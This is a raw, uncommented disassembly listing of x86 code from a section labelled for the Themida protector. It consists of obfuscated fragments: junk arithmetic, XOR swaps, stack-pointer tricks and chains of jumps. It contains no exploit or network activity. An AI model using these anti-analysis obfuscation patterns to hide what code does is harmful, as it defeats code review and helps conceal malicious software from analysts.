xchg esi, [esp]
pop esp
push edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
jmp loc_594C52
; ---------------------------------------------------------------------------
loc_59A25F: ; CODE XREF: Themida_:00590B74j
shr ecx, 4
and ecx, 2C535FC1h
xor ecx, 8035E45h
add edi, ecx
mov ecx, [esp]
jmp loc_59D001
; ---------------------------------------------------------------------------
loc_59A278: ; CODE XREF: Themida_:00597944j
push esi
push ebx
jmp loc_597318
; ---------------------------------------------------------------------------
loc_59A27F: ; CODE XREF: Themida_:005A25EFj
inc ebp
add ebp, 0EBE59D9Dh
mov ebx, ebp
pop ebp
and ebx, 11206010h
sub ebx, 55542218h
jmp loc_59BF54
; ---------------------------------------------------------------------------
loc_59A29A: ; CODE XREF: Themida_:005A3DE5j
add esi, edi
pop edi
push edi
mov edi, 163E2F10h
shl edi, 8
and edi, 729A28BAh
jmp loc_591BA4
; ---------------------------------------------------------------------------
loc_59A2B1: ; CODE XREF: Themida_:00592408j
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], esi
push edi
sub dword ptr [esp], 65885E65h
jmp loc_591096
; ---------------------------------------------------------------------------
loc_59A2CC: ; CODE XREF: Themida_:00596B50j
pop edx
add bl, 0DAh
push 5134h
mov [esp], edx
mov dh, 0Eh
add bl, dh
pop edx
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebp
mov ebp, esp
jmp loc_59404B
; ---------------------------------------------------------------------------
loc_59A2F4: ; CODE XREF: Themida_:005A1758j
sub ecx, 51615563h
jmp loc_59249F
; ---------------------------------------------------------------------------
loc_59A2FF: ; CODE XREF: Themida_:00593F26j
pop esp
push 3679h
jmp loc_5A2EBC
; ---------------------------------------------------------------------------
loc_59A30A: ; CODE XREF: Themida_:0059F952j
push eax
mov eax, 423057EEh
sub [esp+4], eax
mov eax, [esp]
add esp, 4
sub [esp], edi
add dword ptr [esp], 423057EEh
pop edi
push ecx
sub esp, 4
jmp loc_5A44D3
; ---------------------------------------------------------------------------
loc_59A331: ; CODE XREF: Themida_:005A2588j
mov edi, 0F55483FCh
sub esi, 12347F45h
add esi, 6A8D3736h
jmp loc_59F765
; ---------------------------------------------------------------------------
loc_59A347: ; CODE XREF: Themida_:00590C5Aj
mov ebx, eax
mov esi, ebx
pop ebx
pop eax
xor eax, esi
push dword ptr [esp]
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push edi
mov edi, esp
push esi
jmp loc_5A21F5
; ---------------------------------------------------------------------------
loc_59A364: ; CODE XREF: Themida_:005A30D1j
mov eax, 33C71A19h
or eax, 64A17AB8h
sub eax, 0FFFFFFFFh
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
sub esp, 4
mov [esp], ebp
mov ebp, 47F10224h
mov edx, 5D7E402Bh
sub edx, ebp
jmp loc_59A770
; ---------------------------------------------------------------------------
loc_59A39D: ; CODE XREF: Themida_:005A49A2j
xchg ecx, [esp]
mov esp, [esp]
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_592876
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push edi
push esp
pop edi
jmp loc_592F85
; ---------------------------------------------------------------------------
loc_59A3D0: ; CODE XREF: Themida_:00597272j
mov [esp], edx
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
push ecx
push edx
jmp loc_59A9B7
; ---------------------------------------------------------------------------
loc_59A3E8: ; CODE XREF: Themida_:005A062Cj
sub edi, 4
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], ecx
mov ecx, 6FCA4D3Ah
push edx
mov edx, 77694A7Ch
dec edx
jmp loc_5A47B2
; ---------------------------------------------------------------------------
loc_59A411: ; CODE XREF: Themida_:005A20C5j
add edi, esi
sub edi, 1C224536h
sub edi, 1617E4h
pop esi
xchg edi, [esp]
mov esp, [esp]
jmp loc_595449
; ---------------------------------------------------------------------------
loc_59A42B: ; CODE XREF: Themida_:0059D085j
mov [esp], esi
mov esi, 394C26CAh
not esi
dec esi
xor esi, 3C04299Bh
xor esi, 9447F99h
add esi, 395B7413h
xor esi, 1957422Fh
add ebp, esi
mov esi, [esp]
add esp, 4
xor ebp, 181629D5h
jmp loc_593AC1
; ---------------------------------------------------------------------------
loc_59A464: ; CODE XREF: Themida_:005A2124j
mov ch, al
push edx
mov dl, ch
mov bh, dl
pop edx
pop ecx
jmp loc_5A2902
; ---------------------------------------------------------------------------
loc_59A472: ; CODE XREF: Themida_:005A0054j
sub eax, 0FE7CFD7Ch
jmp loc_5A3A23
; ---------------------------------------------------------------------------
loc_59A47C: ; CODE XREF: Themida_:005A05C9j
sub edx, ebx
mov ebx, [esp]
add esp, 4
xor edx, 383F41B4h
jmp loc_5981F6
; ---------------------------------------------------------------------------
loc_59A492: ; CODE XREF: Themida_:0059D2F4j
push 19A0h
mov [esp], edi
push esp
pop edi
sub esp, 4
mov [esp], esi
mov esi, 4
add edi, esi
pop esi
sub esp, 4
mov [esp], ebp
mov ebp, 4
push 1DB4h
jmp loc_59E140
; ---------------------------------------------------------------------------
loc_59A4C2: ; CODE XREF: Themida_:0059CC0Cj
pop edx
jmp loc_59CE55
; ---------------------------------------------------------------------------
loc_59A4C8: ; CODE XREF: Themida_:0059E074j
mov eax, edx
mov edx, [esp]
add esp, 4
mov edi, [esp]
jmp loc_594320
; ---------------------------------------------------------------------------
loc_59A4DB: ; CODE XREF: Themida_:005A2F87j
pop edx
xor al, ch
jmp loc_599607
; ---------------------------------------------------------------------------
loc_59A4E3: ; CODE XREF: Themida_:005A4318j
xchg edi, [esp]
pop esp
mov [esp], ebx
push esp
pop ebx
push eax
mov eax, 4
sub ebx, 69041A68h
jmp loc_5937CE
; ---------------------------------------------------------------------------
loc_59A4FD: ; CODE XREF: Themida_:00592EA5j
add esp, 4
add edx, 0BD0EA737h
push 16D8h
mov [esp], ebp
jmp loc_596D72
; ---------------------------------------------------------------------------
loc_59A516: ; CODE XREF: Themida_:00597987j
mov ch, 20h
dec ch
not ch
jmp loc_59B54A
; ---------------------------------------------------------------------------
loc_59A521: ; CODE XREF: Themida_:0059560Bj
mov ch, dl
pop edx
mov dh, ch
jmp loc_5A0AB6
; ---------------------------------------------------------------------------
loc_59A52B: ; CODE XREF: Themida_:0059EA73j
pop ebp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_596706
; ---------------------------------------------------------------------------
loc_59A53B: ; CODE XREF: Themida_:0059228Aj
pop esp
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_592CC5
; ---------------------------------------------------------------------------
loc_59A54A: ; CODE XREF: Themida_:005A2046j
pop ecx
dec ecx
xchg ecx, esi
jmp loc_5986B1
; ---------------------------------------------------------------------------
loc_59A553: ; CODE XREF: Themida_:005A243Fj
add ebp, ecx
jmp loc_59127C
; ---------------------------------------------------------------------------
loc_59A55A: ; CODE XREF: Themida_:00596852j
mov ebp, 31012A16h
sub ebp, 26D302DFh
jmp loc_599A9C
; ---------------------------------------------------------------------------
lodsd
add eax, 51490605h
push edx
jmp loc_5A15FE
; ---------------------------------------------------------------------------
loc_59A576: ; CODE XREF: Themida_:0059439Bj
push dword ptr [esp]
pop eax
sub esp, 4
jmp loc_59DEE8
; ---------------------------------------------------------------------------
loc_59A582: ; CODE XREF: Themida_:0059A91Fj
pop esp
jmp loc_5A1B77
; ---------------------------------------------------------------------------
loc_59A588: ; CODE XREF: Themida_:00595D2Aj
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
shr ecx, 0Ah
jmp loc_59EC21
; ---------------------------------------------------------------------------
loc_59A59E: ; CODE XREF: Themida_:00593BD9j
xchg edi, ebp
shr ebp, 6
jmp loc_5949D7
; ---------------------------------------------------------------------------
loc_59A5A8: ; CODE XREF: Themida_:00596EA3j
mov [esp], ebp
jmp loc_5A0DBC
; ---------------------------------------------------------------------------
loc_59A5B0: ; CODE XREF: Themida_:00596289j
mov [esp], eax
jmp loc_59A6F0
; ---------------------------------------------------------------------------
loc_59A5B8: ; CODE XREF: Themida_:005A3449j
push dword ptr [esp]
jmp loc_594880
; ---------------------------------------------------------------------------
loc_59A5C0: ; CODE XREF: Themida_:0059363Cj
push eax
mov eax, 4
add esi, eax
mov eax, [esp]
push ebx
jmp loc_5A4B75
; ---------------------------------------------------------------------------
loc_59A5D1: ; CODE XREF: Themida_:005A02FEj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_597EB4
; ---------------------------------------------------------------------------
loc_59A5E8: ; CODE XREF: Themida_:005A0CEAj
push ecx
pop ebp
mov ecx, [esp]
jmp loc_5A16AA
; ---------------------------------------------------------------------------
loc_59A5F2: ; CODE XREF: Themida_:0059F73Cj
sub ebp, 38BF4F46h
jmp loc_599130
; ---------------------------------------------------------------------------
loc_59A5FD: ; CODE XREF: Themida_:005A0C7Ej
add ebx, ecx
push ecx
mov ecx, 15303D2h
jmp loc_59CD1D
; ---------------------------------------------------------------------------
loc_59A60A: ; CODE XREF: Themida_:0059929Aj
xor bl, al
push ebx
push 3FCh
pop ebx
jmp loc_5A5548
; ---------------------------------------------------------------------------
loc_59A618: ; CODE XREF: Themida_:0059B4C0j
mov cx, [esp]
jmp loc_59C8DC
; ---------------------------------------------------------------------------
loc_59A621: ; CODE XREF: Themida_:005A3F09j
xchg ebx, [esp]
pop ecx
jmp loc_5908B9
; ---------------------------------------------------------------------------
loc_59A62A: ; CODE XREF: Themida_:005931BAj
push edx
push esp
jmp loc_5A4BC3
; ---------------------------------------------------------------------------
loc_59A631: ; CODE XREF: Themida_:00596A73j
push esi
push 5648h
mov [esp], esp
add dword ptr [esp], 4
pop esi
sub esp, 4
mov [esp], ebx
mov ebx, 0DBE3270h
jmp loc_59258D
; ---------------------------------------------------------------------------
loc_59A655: ; CODE XREF: Themida_:00592790j
or eax, 37154342h
dec eax
or eax, 2B6F4C10h
sub eax, 1351D680h
add edx, eax
pop eax
push ebp
push ebx
mov ebx, 44E50FBAh
mov ebp, 93D6650Ah
sub ebp, ebx
mov ebx, [esp]
add esp, 4
push ecx
jmp loc_59F11A
; ---------------------------------------------------------------------------
loc_59A685: ; CODE XREF: Themida_:00591915j
mov ebp, 73952832h
add esi, ebp
pop ebp
xor esi, 2B917A95h
shl esi, 2
push 1CE7h
mov [esp], eax
mov eax, 3641EAEh
sub esi, eax
pop eax
push 0BA9h
jmp loc_5A3C81
; ---------------------------------------------------------------------------
loc_59A6B0: ; CODE XREF: Themida_:00599993j
add bl, ch
mov ecx, [esp]
add esp, 4
push ebx
mov bh, 90h
push edx
jmp loc_59FE23
; ---------------------------------------------------------------------------
loc_59A6C1: ; CODE XREF: Themida_:00596093j
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_59E46C
; ---------------------------------------------------------------------------
loc_59A6CC: ; CODE XREF: Themida_:005A222Cj
push ecx
mov ecx, 59D844FEh
inc ecx
add ecx, 253709B4h
sub edx, ecx
jmp loc_591CA9
; ---------------------------------------------------------------------------
loc_59A6E0: ; CODE XREF: Themida_:00599602j
mov [esp], edx
mov edx, 0D92D6A59h
xor ecx, edx
pop edx
jmp loc_5A4D75
; ---------------------------------------------------------------------------
loc_59A6F0: ; CODE XREF: Themida_:0059A5B3j
push esi
mov esi, 2
mov eax, esi
mov esi, [esp]
jmp loc_59543E
; ---------------------------------------------------------------------------
loc_59A700: ; CODE XREF: Themida_:0059F742j
push ebp
jmp loc_59AE8B
; ---------------------------------------------------------------------------
loc_59A706: ; CODE XREF: Themida_:005A3E4Fj
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_59BDB0
; ---------------------------------------------------------------------------
loc_59A716: ; CODE XREF: Themida_:00596AF3j
mov edx, [esp]
add esp, 4
add edx, 4
sub esp, 4
mov [esp], edi
mov edi, 4
jmp loc_5974DA
; ---------------------------------------------------------------------------
loc_59A735: ; CODE XREF: Themida_:00598AB5j
or edx, 65DD6DD8h
shr edx, 4
sub esp, 4
mov [esp], esi
mov esi, 3E047107h
jmp loc_5A3B03
; ---------------------------------------------------------------------------
loc_59A74E: ; CODE XREF: Themida_:0059E0D1j
xchg esi, [esp]
pop esp
jmp loc_59DC0B
; ---------------------------------------------------------------------------
loc_59A757: ; CODE XREF: Themida_:00590BBCj
movzx cx, ah
push 699Fh
mov [esp], ecx
push 5E87h
mov [esp], esp
jmp loc_5A1F96
; ---------------------------------------------------------------------------
loc_59A770: ; CODE XREF: Themida_:0059A398j
pop ebp
add eax, edx
mov edx, [esp]
add esp, 4
add eax, 0DB827E28h
sub ecx, 3117316Ch
push 314h
mov [esp], edi
mov edi, 4BB86860h
add ecx, edi
pop edi
add ecx, eax
sub ecx, 4BB86860h
jmp loc_5987B0
; ---------------------------------------------------------------------------
loc_59A7A1: ; CODE XREF: Themida_:00598472j
mov edx, 4
add eax, edx
pop edx
jmp loc_5A23C7
; ---------------------------------------------------------------------------
loc_59A7AE: ; CODE XREF: Themida_:0059E265j
mov ecx, 7B071591h
xor edx, ecx
jmp loc_596C24
; ---------------------------------------------------------------------------
loc_59A7BA: ; CODE XREF: Themida_:005A4B0Bj
mov ebx, [esp]
push ecx
jmp loc_59D30E
; ---------------------------------------------------------------------------
loc_59A7C3: ; CODE XREF: Themida_:0059B3D3j
mov ebp, 4
add ecx, ebp
pop ebp
sub esp, 4
mov [esp], esi
push ecx
push edi
push 75D02827h
pop edi
add edi, 71E20719h
push edx
mov edx, 570C1DC2h
xor edx, 41FF6C4Fh
and edi, edx
pop edx
jmp loc_5A3F1C
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_593DB1
; ---------------------------------------------------------------------------
loc_59A802: ; CODE XREF: Themida_:0059ADA5j
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_59AEC3
; ---------------------------------------------------------------------------
loc_59A811: ; CODE XREF: Themida_:005A14E9j
xchg ebp, [esp]
pop esp
mov [esp], ecx
mov ecx, 298C44CAh
sub ebx, ecx
mov ecx, [esp]
jmp loc_59496D
; ---------------------------------------------------------------------------
loc_59A827: ; CODE XREF: Themida_:00592E7Dj
mov [esp], ecx
push 22703194h
jmp loc_5A2E41
; ---------------------------------------------------------------------------
loc_59A834: ; CODE XREF: Themida_:00599651j
pop ecx
push edx
sub dword ptr [esp], 79D4448Fh
pop esi
add esi, 79D4448Fh
pop edx
push edx
mov edx, 49C12987h
and edx, 39B431C8h
shr edx, 2
and edx, 187358B4h
sub edx, 0A63274Dh
dec edx
add edx, 64C24C8Eh
sub eax, 6E182184h
jmp loc_597EA3
; ---------------------------------------------------------------------------
loc_59A871: ; CODE XREF: Themida_:0059B012j
add edi, ebx
mov ebx, [esp]
add esp, 4
xor edi, [esp]
jmp loc_592F2A
; ---------------------------------------------------------------------------
loc_59A881: ; CODE XREF: Themida_:00591D6Bj
add esp, 4
jmp loc_591A19
; ---------------------------------------------------------------------------
loc_59A88C: ; CODE XREF: Themida_:00593F90j
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push 6522h
mov [esp], esi
push esp
push dword ptr [esp]
pop esi
add esp, 4
push 41E9h
mov [esp], ebx
push esi
push 67E65456h
pop esi
add esi, 9819ABAEh
mov ebx, esi
pop esi
jmp loc_5904B9
; ---------------------------------------------------------------------------
loc_59A8CB: ; CODE XREF: Themida_:005A0EC6j
pop ebx
jmp loc_59BF9A
; ---------------------------------------------------------------------------
loc_59A8D1: ; CODE XREF: Themida_:005A2A68j
pop edx
xor ecx, 7C65130Dh
push ebx
mov ebx, 553E60E0h
jmp loc_5A1B29
; ---------------------------------------------------------------------------
loc_59A8E3: ; CODE XREF: Themida_:00593CA6j
pop esi
add ecx, 0C6A1A1BBh
mov esi, ecx
pop ecx
add dword ptr [esp+4], 11131696h
sub [esp+4], esi
sub esp, 4
mov [esp], eax
mov eax, 11131696h
jmp loc_59DB2E
; ---------------------------------------------------------------------------
loc_59A90C: ; CODE XREF: Themida_:005A51BFj
pop eax
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_59A582
; ---------------------------------------------------------------------------
loc_59A924: ; CODE XREF: Themida_:00595149j
push ebx
mov ebx, 0
add ebx, eax
mov ecx, [ebx]
pop ebx
jmp loc_594277
; ---------------------------------------------------------------------------
loc_59A934: ; CODE XREF: Themida_:0059FE1Ej
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_59BBC5
; ---------------------------------------------------------------------------
loc_59A945: ; CODE XREF: Themida_:00592A30j
pop edx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_598ACF
; ---------------------------------------------------------------------------
loc_59A954: ; CODE XREF: Themida_:005940D1j
push edi
mov edi, 3E0441F3h
or ebp, edi
jmp loc_59655D
; ---------------------------------------------------------------------------
loc_59A961: ; CODE XREF: Themida_:005A0327j
xchg ebp, [esp]
mov esp, [esp]
mov [esp], eax
mov eax, 8A48C1h
shr eax, 6
or eax, 65E5894h
jmp loc_59B495
; ---------------------------------------------------------------------------
loc_59A97C: ; CODE XREF: Themida_:0059690Ej
sub eax, 61A04D20h
add eax, ebp
add eax, 61A04D20h
sub eax, 150E3102h
pop ebp
push 1E6Bh
jmp loc_597A6D
; ---------------------------------------------------------------------------
loc_59A998: ; CODE XREF: Themida_:005920F3j
mov [esp], ecx
sub esp, 4
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
mov ecx, [esp]
jmp loc_591533
; ---------------------------------------------------------------------------
loc_59A9B7: ; CODE XREF: Themida_:0059A3E3j
mov edx, 4
sub esp, 4
mov [esp], edx
pop ecx
pop edx
sub ebx, ecx
pop ecx
xchg ebx, [esp]
pop esp
mov [esp], ecx
push 2D553CE1h
pop ecx
neg ecx
push edi
mov edi, 0E683630h
xor edi, 5A1453D0h
xor edi, 32E27016h
and edi, 215B6982h
push ebx
mov ebx, 57122776h
jmp loc_59DB1D
; ---------------------------------------------------------------------------
loc_59A9FC: ; CODE XREF: Themida_:00597DBFj
push dword ptr [esp]
pop edx
push esi
mov esi, esp
add esi, 4
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
sub al, 58h
sub al, cl
jmp loc_59561B
; ---------------------------------------------------------------------------
loc_59AA1F: ; CODE XREF: Themida_:0059B658j
push ecx
mov ecx, 1D8710C2h
shr ecx, 6
xor ecx, 5C136986h
add ecx, 6B6E5329h
not ecx
jmp loc_5971EF
; ---------------------------------------------------------------------------
loc_59AA3B: ; CODE XREF: Themida_:00599CB9j
add ebp, esi
push ecx
mov ecx, 55CE6689h
jmp loc_593949
; ---------------------------------------------------------------------------
loc_59AA48: ; CODE XREF: Themida_:0059C53Ej
push 1253h
push esp
pop dword ptr [esp]
push ebx
mov ebx, 4
add [esp+4], ebx
jmp loc_5A3C56
; ---------------------------------------------------------------------------
loc_59AA60: ; CODE XREF: Themida_:005932F1j
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
add eax, 0FFFFFFFFh
sub eax, 53104BE9h
dec eax
push ecx
push esi
jmp loc_5A34A9
; ---------------------------------------------------------------------------
loc_59AA87: ; CODE XREF: Themida_:00591A51j
xchg ecx, [esp]
pop esp
mov [esp], ebx
jmp loc_5A1EBC
; ---------------------------------------------------------------------------
loc_59AA93: ; CODE XREF: Themida_:00597ABDj
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop ecx
xor bl, al
jmp loc_599868
; ---------------------------------------------------------------------------
loc_59AAAE: ; CODE XREF: Themida_:00595ED2j
push esi
push ecx
jmp loc_5A2045
; ---------------------------------------------------------------------------
loc_59AAB5: ; CODE XREF: Themida_:0059C493j
add ch, 44h
mov dl, ch
pop ecx
add ah, dl
mov edx, [esp]
add esp, 4
sub ah, 0A9h
or ch, ah
mov eax, [esp]
jmp loc_598CAC
; ---------------------------------------------------------------------------
loc_59AAD0: ; CODE XREF: Themida_:005968B0j
dec bl
jmp loc_5A0787
; ---------------------------------------------------------------------------
loc_59AAD7: ; CODE XREF: Themida_:00599753j
xor edi, 5DD961B0h
add esi, edi
mov edi, [esp]
add esp, 4
mov edx, esi
pop esi
add edx, 5A49056Fh
sub edx, 163A2480h
not edx
push edi
mov edi, 3FE92638h
jmp loc_5A5152
; ---------------------------------------------------------------------------
mov ax, [esp]
push 730Ah
mov [esp], ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 2
push edx
mov edx, 39DB6D0Fh
jmp loc_599123
; ---------------------------------------------------------------------------
loc_59AB26: ; CODE XREF: Themida_:005A4FBEj
neg ebx
xor ebx, 0E77BE3A7h
add edx, ebx
pop ebx
push eax
mov eax, 3E9073C9h
sub eax, 7F113130h
push esi
mov esi, 6B3A2A4Fh
jmp loc_592280
; ---------------------------------------------------------------------------
loc_59AB47: ; CODE XREF: Themida_:005A1679j
pop edx
not edx
xchg edx, ebx
push 3768h
mov [esp], esi
mov esi, 17B26318h
push edx
jmp loc_592FBB
; ---------------------------------------------------------------------------
loc_59AB5F: ; CODE XREF: Themida_:00596654j
push dx
add byte ptr [esp], 1
pop dx
neg dl
push ebx
mov bh, 0C3h
shr bh, 7
add bh, 5Eh
xor dl, bh
pop ebx
sub ch, dl
mov edx, [esp]
add esp, 4
sub ch, 0F1h
add al, ch
pop ecx
push 2738h
mov [esp], edx
mov dl, 0CEh
push eax
mov al, dl
jmp loc_5A1A4D
; ---------------------------------------------------------------------------
loc_59AB95: ; CODE XREF: Themida_:0059C69Bj
mov ebp, 10C012BFh
shr ebp, 5
or ebp, 46BF3A6Ch
push edi
mov edi, 0E0EB35B0h
add ebp, edi
pop edi
mov ebx, ebp
jmp loc_59F174
; ---------------------------------------------------------------------------
loc_59ABB3: ; CODE XREF: Themida_:005A1D11j
pop esp
push 2DADh
mov [esp], ecx
push esp
pop ecx
jmp loc_5962D3
; ---------------------------------------------------------------------------
loc_59ABC3: ; CODE XREF: Themida_:0059AEB6j
and eax, 0EA05385h
jmp loc_5981DE
; ---------------------------------------------------------------------------
loc_59ABCD: ; CODE XREF: Themida_:00591071j
inc ecx
xor edx, ecx
xor ecx, edx
jmp loc_592C48
; ---------------------------------------------------------------------------
loc_59ABD7: ; CODE XREF: Themida_:0059DDC3j
add esp, 4
add esi, 4
sub esi, 2
xchg esi, [esp]
pop esp
mov [esp], dx
sub esp, 4
mov [esp], ecx
push ebx
push dx
push eax
mov ah, 90h
xor ah, 78h
dec ah
inc ah
neg ah
sub ah, 0C9h
mov dh, ah
pop eax
mov bl, dh
pop dx
jmp loc_595B9A
; ---------------------------------------------------------------------------
loc_59AC0F: ; CODE XREF: Themida_:00595B00j
xchg edx, [esp]
inc dword ptr [esp]
jmp loc_591707
; ---------------------------------------------------------------------------
loc_59AC1A: ; CODE XREF: Themida_:0059CACEj
mov edx, 1F5F401Bh
sub edx, 20792345h
push edi
push ebx
push edx
push 22E915F7h
jmp loc_5A041D
; ---------------------------------------------------------------------------
loc_59AC32: ; CODE XREF: Themida_:005A35F5j
pop ebx
jmp loc_59E14A
; ---------------------------------------------------------------------------
loc_59AC38: ; CODE XREF: Themida_:005A50CCj
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
sub esp, 4
jmp loc_597C08
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59AC59: ; CODE XREF: Themida_:0059C095j
add esi, edx
pop edx
push edx
jmp loc_598F27
; ---------------------------------------------------------------------------
loc_59AC62: ; CODE XREF: Themida_:005A4C29j
or ch, 6Bh
jmp loc_59D9ED
; ---------------------------------------------------------------------------
loc_59AC6A: ; CODE XREF: Themida_:00590DDAj
push ebp
push 4
pop ebp
add edi, ebp
pop ebp
xchg edi, [esp]
jmp loc_5A52B0
; ---------------------------------------------------------------------------
loc_59AC7C: ; CODE XREF: Themida_:0059EED5j
sub ebp, 0F11C15C3h
add edi, ebp
pop ebp
jmp loc_5A440B
; ---------------------------------------------------------------------------
loc_59AC8A: ; CODE XREF: Themida_:0059BF95j
add ebx, 6DB2187Dh
sub ebx, 127377D0h
mov ecx, [esp]
jmp loc_5A231E
; ---------------------------------------------------------------------------
loc_59AC9E: ; CODE XREF: Themida_:00597E90j
add ch, 86h
xor ch, 34h
sub ch, 1Dh
push eax
mov al, ch
mov bh, al
jmp loc_592424
; ---------------------------------------------------------------------------
loc_59ACB1: ; CODE XREF: Themida_:005902E9j
add dword ptr [esp+8], 3BDD45C6h
add dword ptr [esp+8], 377E65EFh
sub dword ptr [esp+8], 2FD0334Ch
sub [esp+8], edi
add dword ptr [esp+8], 2FD0334Ch
sub dword ptr [esp+8], 377E65EFh
sub dword ptr [esp+8], 3BDD45C6h
pop edi
jmp loc_591CB5
; ---------------------------------------------------------------------------
loc_59ACEB: ; CODE XREF: Themida_:0059F275j
add esi, 54573637h
pop ebx
jmp loc_596CB0
; ---------------------------------------------------------------------------
loc_59ACF7: ; CODE XREF: Themida_:0059C6B8j
mov ebx, 282B5D85h
jmp loc_597103
; ---------------------------------------------------------------------------
loc_59AD01: ; CODE XREF: Themida_:0059BBAEj
xor ebx, 3B5D44C0h
jmp loc_5929AD
; ---------------------------------------------------------------------------
loc_59AD0C: ; CODE XREF: Themida_:005995E1j
dec edx
not edx
shl edx, 8
jmp loc_5A24BD
; ---------------------------------------------------------------------------
loc_59AD17: ; CODE XREF: Themida_:005916EBj
mov [esp], ebp
mov ebp, 5A0D5E0Ch
mov ebx, ebp
jmp loc_59505D
; ---------------------------------------------------------------------------
loc_59AD26: ; CODE XREF: Themida_:005944B8j
add esp, 4
shr esi, 8
dec esi
add esi, 0FFFCFFDDh
sub eax, 2944529Eh
add eax, esi
add eax, 2944529Eh
mov esi, [esp]
add esp, 4
push 729h
mov [esp], eax
push dword ptr [esp+4]
jmp loc_596553
; ---------------------------------------------------------------------------
loc_59AD5C: ; CODE XREF: Themida_:0059F197j
push ebx
not dword ptr [esp]
jmp loc_593684
; ---------------------------------------------------------------------------
loc_59AD65: ; CODE XREF: Themida_:005A4B94j
mov cx, 3048h
push edi
push ebp
mov bp, 67DBh
jmp loc_5998BF
; ---------------------------------------------------------------------------
loc_59AD74: ; CODE XREF: Themida_:0059E6B9j
mov [esp], ebx
jmp loc_59C2EA
; ---------------------------------------------------------------------------
loc_59AD7C: ; CODE XREF: Themida_:0059A1BBj
mov edi, 2
add ebx, edi
pop edi
jmp loc_5A304F
; ---------------------------------------------------------------------------
loc_59AD89: ; CODE XREF: Themida_:0059D662j
mov [esp], edi
push edx
mov edi, [esp]
add esp, 4
jmp loc_59B4F4
; ---------------------------------------------------------------------------
loc_59AD98: ; CODE XREF: Themida_:0059D610j
push dword ptr [esp+4]
pop edx
jmp loc_5A2B01
; ---------------------------------------------------------------------------
loc_59ADA2: ; CODE XREF: Themida_:00593875j
add ebp, ecx
pop ecx
jmp loc_59A802
; ---------------------------------------------------------------------------
loc_59ADAA: ; CODE XREF: Themida_:0059759Fj
pop eax
jmp loc_590BC1
; ---------------------------------------------------------------------------
loc_59ADB0: ; CODE XREF: Themida_:0059CC8Cj
xor edx, [esp]
jmp loc_595610
; ---------------------------------------------------------------------------
loc_59ADB8: ; CODE XREF: Themida_:00593A8Aj
mov edi, [esp]
jmp loc_5A1574
; ---------------------------------------------------------------------------
loc_59ADC0: ; CODE XREF: Themida_:0059C174j
add edx, edi
add edx, 1F227267h
push ecx
mov cl, al
jmp loc_5A0FA1
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
push small 1105h
jmp loc_592A4A
; ---------------------------------------------------------------------------
loc_59ADDD: ; CODE XREF: Themida_:0059DD59j
push esi
dec dword ptr [esp]
pop esi
shl esi, 2
xchg ebx, esi
dec ebx
xchg ebx, esi
jmp loc_59668F
; ---------------------------------------------------------------------------
loc_59ADEF: ; CODE XREF: Themida_:005947BEj
add edx, edi
pop edi
xchg edx, [esp]
mov esp, [esp]
push 0
sub [esp], ebx
pop ebx
jmp loc_5956A8
; ---------------------------------------------------------------------------
loc_59AE06: ; CODE XREF: Themida_:005943FCj
pop esp
push 6718h
mov [esp], ecx
jmp loc_59A0BF
; ---------------------------------------------------------------------------
loc_59AE14: ; CODE XREF: Themida_:005A542Fj
add esp, 4
push ecx
push ebx
push 73E13734h
pop ebx
jmp loc_59F96A
; ---------------------------------------------------------------------------
loc_59AE27: ; CODE XREF: Themida_:0059D0FEj
xor [esp], ebx
xor ebx, [esp]
pop esp
push edi
mov edi, 5C2348FCh
push eax
mov eax, 6C3D999Dh
add edi, eax
pop eax
add ecx, 23DD1644h
sub ecx, edi
sub ecx, 23DD1644h
pop edi
add ebx, ecx
jmp loc_59DCEE
; ---------------------------------------------------------------------------
loc_59AE53: ; CODE XREF: Themida_:005A5762j
mov ah, cl
dec ah
jmp loc_59F3D0
; ---------------------------------------------------------------------------
loc_59AE5C: ; CODE XREF: Themida_:005A37DDj
pop esp
mov [esp], edi
jmp loc_59F0FD
; ---------------------------------------------------------------------------
loc_59AE65: ; CODE XREF: Themida_:0059559Cj
pop eax
dec dh
add dh, 1Ch
jmp loc_59CD8E
; ---------------------------------------------------------------------------
loc_59AE70: ; CODE XREF: Themida_:00591E81j
shr ebx, 4
jmp loc_594842
